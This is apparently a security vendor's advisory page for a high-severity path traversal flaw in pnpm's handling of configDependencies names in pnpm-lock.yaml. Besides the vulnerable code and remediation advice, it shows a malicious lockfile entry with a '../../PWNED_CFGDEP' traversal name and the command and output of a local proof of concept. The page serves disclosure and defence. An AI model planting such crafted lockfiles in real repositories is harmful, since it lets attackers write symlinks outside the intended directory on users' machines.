Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-qrv3-253h-g69c

HIGH

GHSA-qrv3-253h-g69c is a high-severity (CVSS 8.2) Path Traversal vulnerability in pnpm. O3 Security confirms whether GHSA-qrv3-253h-g69c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Also known asCVE-2026-59195
Published
Jun 27, 2026
Updated
Jul 8, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qrv3-253h-g69c.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.3%0.4%0.4%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-qrv3-253h-g69c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 370,894 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

386other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
pnpmnpm
161.3Mdownloads / week

Description

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

  • The malicious input is committed in pnpm-lock.yaml.
  • The issue is triggered during pnpm install.
  • It works with --ignore-scripts.
  • It occurs in the config dependency installation path, before ordinary dependency installation.
  • The user only needs to install a malicious or compromised repository.

Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../[email protected], [email protected]
Already up to date

Done in 906ms using pnpm v11.5.1

The PoC then detected the escaped symlink:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed:

Installed config dependencies: ../../[email protected], [email protected]

Security boundary violation

The intended config dependency root was:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

But pnpm created:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Suggested remediation

Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

  1. Reject env-lockfile configDependencies names that are not valid npm package names.

  2. Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.

  3. Use containment-checked path joining before creating symlinks:

    • resolve the final destination path,
    • verify it remains inside node_modules/.pnpm-config,
    • reject if it escapes.
  4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.

  5. Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)

if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
  throw new Error(`Invalid config dependency name: ${pkgName}`)
}

Name validation should happen before this check, not instead of it.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmpnpmall versions10.34.4
📦npmpnpm11.0.0&&< 11.8.011.8.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pnpm to 10.34.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qrv3-253h-g69c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qrv3-253h-g69c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qrv3-253h-g69c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependenc
O3 Security · Impact-Aware SCA

Is GHSA-qrv3-253h-g69c in your dependencies?

O3 detects GHSA-qrv3-253h-g69c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-qrv3-253h-g69c: pnpm (High 8.2) | O3 Security